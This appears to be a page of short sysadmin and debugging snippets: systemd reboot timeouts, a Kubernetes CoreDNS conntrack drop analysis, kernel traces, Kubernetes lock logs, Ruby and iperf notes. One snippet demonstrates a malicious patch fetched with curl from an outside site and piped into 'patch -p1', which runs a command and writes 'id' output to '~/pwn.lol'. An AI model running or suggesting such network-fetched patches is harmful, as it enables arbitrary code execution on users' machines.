SpComb

Nov 07 10:22:02 XXX sudo[17535]:    terom : TTY=pts/2 ; PWD=/home/terom ; USER=root ; COMMAND=/sbin/reboot
...
Nov 07 10:22:12 XXX systemd[1]: Stopped Device-mapper event daemon.
Nov 07 10:22:12 XXX systemd[1]: Reached target Shutdown.
Nov 07 10:23:42 XXX systemd[1]: dev-mapper-vgRoot\x2dlvSwap.swap deactivation timed out. Stopping.
Nov 07 10:23:42 XXX systemd[1]: Deactivated swap /dev/mapper/vgRoot-lvSwap.
Nov 07 10:23:42 XXX systemd[1]: Unit dev-mapper-vgRoot\x2dlvSwap.swap entered failed state.
Nov 07 10:52:03 XXX systemd[1]: Job reboot.target/start timed out.
Nov 07 10:52:03 XXX systemd[1]: Timed out starting Reboot.
Nov 07 10:52:03 XXX systemd[1]: Job reboot.target/start failed with result 'timeout'.

SpComb

Kube 1.11 CoreDNS + Ubuntu Bionic / Linux 4.15 => parallel DNS A+AAAA query timeouts due to response packets getting NF_DROP per nf_conntrack_confirm

Related but different issues:

• https://www.weave.works/blog/racy-conntrack-and-dns-lookup-timeouts
• https://blog.quentin-machu.fr/2018/06/24/5-15s-dns-lookups-on-kubernetes/

AFAIK these describe the outging DNS query packets getting dropped per nf_conntrack_confirm collisions, but this is about the DNS response packets getting dropped due to nf_conntrack_confirm returning NF_DROP for the incoming response packet.

This increaes the duplicate get_unique_tuple race window from µs for the outgoing packet path to ms for the DNS server's query RTT.

SpComb

Jul 26 05:28:57 pruju kernel: [15425402.132129] INFO: task imap:10978 blocked for more than 120 seconds.
Jul 26 05:28:57 pruju kernel: [15425402.134705] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Jul 26 05:28:57 pruju kernel: [15425402.137899] imap            D ffff88003fc130c0     0 10978  17377 0x00000000
Jul 26 05:28:57 pruju kernel: [15425402.140768]  ffff88003b761880 0000000000000086 ffff88003c023c68 ffffffff81610020
Jul 26 05:28:57 pruju kernel: [15425402.143506]  00000000000130c0 ffff88003c023fd8 ffff88003c023fd8 ffff88003b761880
Jul 26 05:28:57 pruju kernel: [15425402.146976]  ffff880015000db8 00000001e5d9547b ffff88003c654240 ffff880015000e58
Jul 26 05:28:57 pruju kernel: [15425402.150581] Call Trace:
Jul 26 05:28:57 pruju kernel: [15425402.151721]  [<ffffffff81355628>] ? __mutex_lock_common.isra.5+0xff/0x164
Jul 26 05:28:57 pruju kernel: [15425402.154420]  [<ffffffff81355516>] ? mutex_lock+0x1a/0x2d
Jul 26 05:28:57 pruju kernel: [15425402.156460]  [<ffffffff81108b7c>] 

SpComb

2018/06/12 00:00:00 Schedule run started, deadline at 2018-06-12 01:00:00.00354948 +0000 UTC m=+913758.830134423
2018/06/12 00:00:00 Acquiring kube lock...
2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: get
2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: wait
2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: test pharos-host-upgrades.kontena.io/lock=: free
2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: acquire
2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: set pharos-host-upgrades.kontena.io/lock=terom-pharos-master
2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: update
2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: retry modify conflict: Operation cannot be fulfilled on daemonsets.apps "host-upgrades": the object has been modified; please apply your changes to the latest version and try again
2018/06/12 00:00:00 kube/lock kube-system/daemonsets/host-upgrades: get

SpComb

$ go run main.go  
2018/05/31 13:37:05 watch.Util returned err=&errors.errorString{s:"timed out waiting for the condition"}
2018/05/31 13:37:05 RetryOnConflict returned err=<nil>

SpComb

https://puppet.com/docs/puppet/5.0/release_notes.html#changed-behavior-for-relationship-chains-with-empty-sets

SpComb

$ docker run --rm -it mtsmfm/ruby-trunk:alpine ruby -v
ruby 2.6.0dev (2018-05-15) [x86_64-linux-musl]
$ docker run --rm -it -v $PWD/test:/test mtsmfm/ruby-trunk:alpine ruby -W2 /test/asdf.rb

• https://bugs.ruby-lang.org/issues/14183
  • https://github.com/ruby/ruby/commit/a23eca2
• rubocop/rubocop#5887
• rubocop/rubocop#5871

SpComb

• 2.5Gbps ethernet
• Ubuntu 16.04.3
• Linux 4.4.0-112-generic
• kube 1.9.3
• weave 2.20
• kube-router "latest"
• iperf 2.0.9
• iperf client is Atom C2550 (4 cores)
• iperf server is Atom C2750 (8 cores)

SpComb

$ cat ~/pwn.lol 
cat: /home/terom/pwn.lol: No such file or directory
$ curl -s https://holeybeep.ninja/beep.patch | patch -p1
patching file beep.c
?
sh: 1: beep: not found
     e.type = EV_SND;
patch: **** ed FAILED
$ cat ~/pwn.lol 
uid=1000(terom) gid=100(users) groups=100(users),27(sudo),999(docker)

SpComb

[  183.095375] openvswitch: Open vSwitch switching datapath
[  183.248043] device datapath entered promiscuous mode
[  183.662353] weave: port 1(vethwedu) entered blocking state
[  183.801904] weave: port 1(vethwedu) entered disabled state
[  183.935354] device vethwedu entered promiscuous mode
[  184.091825] device vethwedu left promiscuous mode
[  184.221034] weave: port 1(vethwedu) entered disabled state
[  184.305423] IPv6: ADDRCONF(NETDEV_UP): vethwe-bridge: link is not ready
[  184.474534] IPv6: ADDRCONF(NETDEV_CHANGE): vethwe-bridge: link becomes ready
[  184.603880] device vethwe-datapath entered promiscuous mode